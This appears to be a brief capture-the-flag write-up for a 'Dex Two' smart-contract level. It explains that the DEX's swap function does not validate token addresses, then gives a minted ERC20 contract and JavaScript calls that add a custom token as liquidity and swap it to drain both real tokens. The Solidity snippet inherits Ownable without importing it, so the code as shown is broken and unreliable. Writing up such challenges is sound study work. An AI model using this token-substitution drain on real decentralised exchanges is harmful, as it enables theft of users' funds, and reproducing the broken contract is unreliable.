23-dex2.md

this swap function doesn't check if from or to are the tokens of the dex so we can mint some other token3, add liquidity to the dex and then swap token3 for token1 and token2.

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract FrulaCoin is ERC20, Ownable {
    constructor() ERC20("FrulaCoin", "FRU") {
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }
}

const token1 = await contract.token1();
const token2 = await contract.token2();
const token3 = '<contract address>';

await contract.add_liquidity(token3, 100);
await contract.swap(token3, token1, 100);
await contract.swap(token3, token2, 200);